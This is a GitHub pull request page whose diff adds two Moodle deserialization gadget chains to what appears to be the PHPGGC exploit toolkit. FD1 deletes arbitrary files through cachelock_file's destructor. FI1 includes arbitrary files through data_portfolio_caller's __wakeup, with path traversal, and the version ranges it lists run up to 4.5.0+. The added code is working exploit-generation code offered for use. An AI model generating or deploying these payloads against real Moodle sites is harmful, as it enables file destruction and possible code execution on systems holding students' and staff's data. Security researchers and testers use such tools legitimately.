Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Moodle FD1 and FI1 #203

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
17 changes: 17 additions & 0 deletions gadgetchains/Moodle/FD/1/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
<?php

namespace GadgetChain\Moodle;

class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
public static $version = '2.4.0 <= 4.5.0+';
public static $vector = '__destruct';
public static $author = 'mcdruid';
public static $information = 'Moodle\'s class loading is "quirky" so classes
are not always available.';

public function generate(array $parameters)
{
return new \cachelock_file($parameters['remote_path']);
}
}
10 changes: 10 additions & 0 deletions gadgetchains/Moodle/FD/1/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
<?php

class cachelock_file
{
protected $locks = [];

public function __construct($lockfile) {
$this->locks[] = $lockfile;
}
}
20 changes: 20 additions & 0 deletions gadgetchains/Moodle/FI/1/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
<?php

namespace GadgetChain\Moodle;

class FI1 extends \PHPGGC\GadgetChain\FileInclude
{
public static $version = '2.0.0 <= 4.5.0+';
public static $vector = '__wakeup';
public static $author = 'mcdruid';
public static $information = 'Moodle\'s class loading is "quirky" so classes
are not always available. This Gadget Chain exploits the following path:
$CFG->dirroot . \'/mod/data/field/\' . $field .\'/field.class.php\'
..where the specified value will be injected into $field. Path traversal is
possible, but later versions of moodle check the path with file_exists().';

public function generate(array $parameters)
{
return new \data_portfolio_caller($parameters['remote_path']);
}
}
11 changes: 11 additions & 0 deletions gadgetchains/Moodle/FI/1/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
<?php

class data_portfolio_caller
{
private $fieldtypes = [];

public function __construct($fieldtype) {
$this->fieldtypes[] = $fieldtype;
}

}